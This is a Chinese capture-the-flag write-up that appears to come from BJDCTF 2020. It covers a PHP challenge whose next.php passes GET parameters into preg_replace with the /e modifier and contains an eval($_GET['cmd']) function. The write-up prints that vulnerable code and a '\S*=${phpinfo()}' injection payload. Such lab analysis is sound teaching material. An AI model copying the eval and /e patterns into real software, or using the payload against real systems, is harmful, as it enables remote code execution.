> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-bjdctf/zjctf-bu-guo-ru-ci.md).

# ZJCTF，不过如此

前面两个考察的是PHP两个伪协议，比较简单，然后获得next.php源码

```
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}
```

关于这个绕过，安全客有详细的文章，代码大体相同

[`深入研究preg_replace与代码执行`](https://xz.aliyun.com/t/2557)

preg\_replace()函数主要结构如下

```
mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])
```

匹配`subject`对象的参数`pattern`，将其用`replacement`替换。

而`/e` 修正符使 `preg_replace()` 将 `replacement` 参数当作 `PHP` 代码。

再看下题目中这段代码

```
function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}
```

这段代码将键名键值分别代入，如果我们传入变量`.*={${phpinfo();}}`,代入替换，有：

```
return preg_replace((.*),'strtolower("\\1")',{${phpinfo();}})
```

匹配后成功执行`phpinfo();`

然而PHP对传入的$\_GET非法参数变量名，会将.转化为\_替代。

所以将通配符换成另一种形式的通配符即可。

```
\S*=${phpinfo()}
```
